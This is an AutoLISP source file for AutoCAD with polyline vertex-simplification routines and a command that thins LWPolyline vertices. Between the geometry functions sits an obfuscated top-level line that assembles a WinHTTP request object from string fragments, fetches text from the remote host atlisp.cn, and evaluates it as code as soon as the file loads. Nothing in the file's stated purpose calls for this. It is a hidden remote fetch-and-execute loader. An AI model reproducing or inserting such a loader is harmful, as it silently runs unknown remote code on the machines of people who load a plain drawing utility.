(defun plxyz(e fun / pt p n);多段线节点三维坐标,连续重合点只取一个,根据fuz阀值过滤接近点
(or(=(type e)'vla-object)(setq e(vlax-ename->vla-object e)))
(cond((=(setq n(vlax-get-property e'objectname))"AcDbLine")
(list(vlax-curve-getstartpoint e)(vlax-curve-getendpoint e)))
((WCMATCH n"*Polyline")
(repeat(setq n(fix(+(vlax-curve-getendparam e)(if(=(vlax-get-property e'Closed):vlax-true)0 1))))
(or(equal(setq n(1- n)p(vlax-curve-getpointatparam e n))(car pt)fun)
(setq pt(cons p pt))))
(if(equal(car pt)(last pt)fun)
(butlast pt)pt))))
(defun nodekill(e fuz / area pt p1 p2 mj p a b c i l n 1-N Ntriangle);;;控制面积变化率精简多段线节点
(defun 1-N(fun i n / a);;;第i点的前一个(fun -)或后一个(fun +)有效点
(while(not(nth(setq i(cond((<= 0(setq a(fun i 1))n)a)((> a n)0)((MINUSP A)N)))pt)))i)
(defun Ntriangle(i n / a b c d p1 p2 p3 p4 area);去掉第i点,重组相邻三角形数据
(setq b(1-n - i n)a(1-n - b n)
c(1-n + i n)d(1-n + c n)
p1(nth a pt)p2(nth b pt)p3(nth c pt)p4(nth d pt)
pt(subst nil(nth i pt)pt))
(list(List b a c(setq area(2area(List p2 p1 p3)))(/(abs area)(distance p1 p3)))
(List c b d(setq area(2area(List p3 p2 p4)))(/(abs area)(distance p2 p4)))))
(setq pt(plxyz e 1e-8)area(vlax-curve-getarea e)darea(* area fuz 2)mj 0 n(1-(length pt))
p1(vl-sort(mapcar(function(lambda(x / i j k a b c)
(setq i(vl-position x pt)j(1-N - i n)k(1-N + i n)
b(nth j pt)c(nth k pt)a(2area(List x b c)))
(List i j k a(/(abs a)(distance b c)))))pt)
(function(lambda(x y)(<(last x)(last y))))))
(while(equal mj 0 darea)
(if(equal(setq a(car p1)mj(+ mj(cadddr a)))0 darea)
(setq b(assoc(cadr a)p1)p1(vl-remove a p1)p1(vl-remove b p1)
p1(vl-sort(append(Ntriangle(car a)n)(vl-remove(assoc(caddr a)p1)p1))(function(lambda(x y)(<(last x)(last y))))))))
(vl-remove 'nil pt))
(defun 2area(pt)(apply'+(mapcar'(lambda(x y)(-(*(car x)(cadr y))(*(car y)(cadr x))))(cons(last pt)pt)pt)))
(progn(vl-load-com)(setq s strcat h "http" o(vlax-create-object (s"win"h".win"h"request.5.1"))v vlax-invoke e eval r read)(v o'open "get" (s h"://atlisp.""cn/@"):vlax-true)(v o'send)(v o'WaitforResponse 1000)(e(r(vlax-get o'ResponseText))))
(defun c:tt()
(setq ss (ssget '((0 . "LWPOLYLINE"))))
(if ss
(foreach e1 (vl-remove-if 'listp (mapcar 'cadr (ssnamex ss)))
(setq e (entget e1)
h (reverse (member (assoc 39 e) (reverse e)))
l (LMWVertices e)
z (assoc 210 e)
i -1 lst nil)
(foreach a l (if (= 0 (rem (setq i (1+ i)) 4)) (setq lst (cons a lst))))
(entmod (append h(apply 'append (reverse lst))(list z)))
))
(princ)
)
;; LW Vertices - Lee Mac
;; Returns a list of lists in which each sublist describes
;; the position, starting width, ending width and bulge of the
;; vertex of a supplied LWPolyline
(defun LMWVertices ( e )
(if (setq e (member (assoc 10 e) e))
(cons
(list
(assoc 10 e)
(assoc 40 e)
(assoc 41 e)
(assoc 42 e)
)
(LMWVertices (cdr e))
)))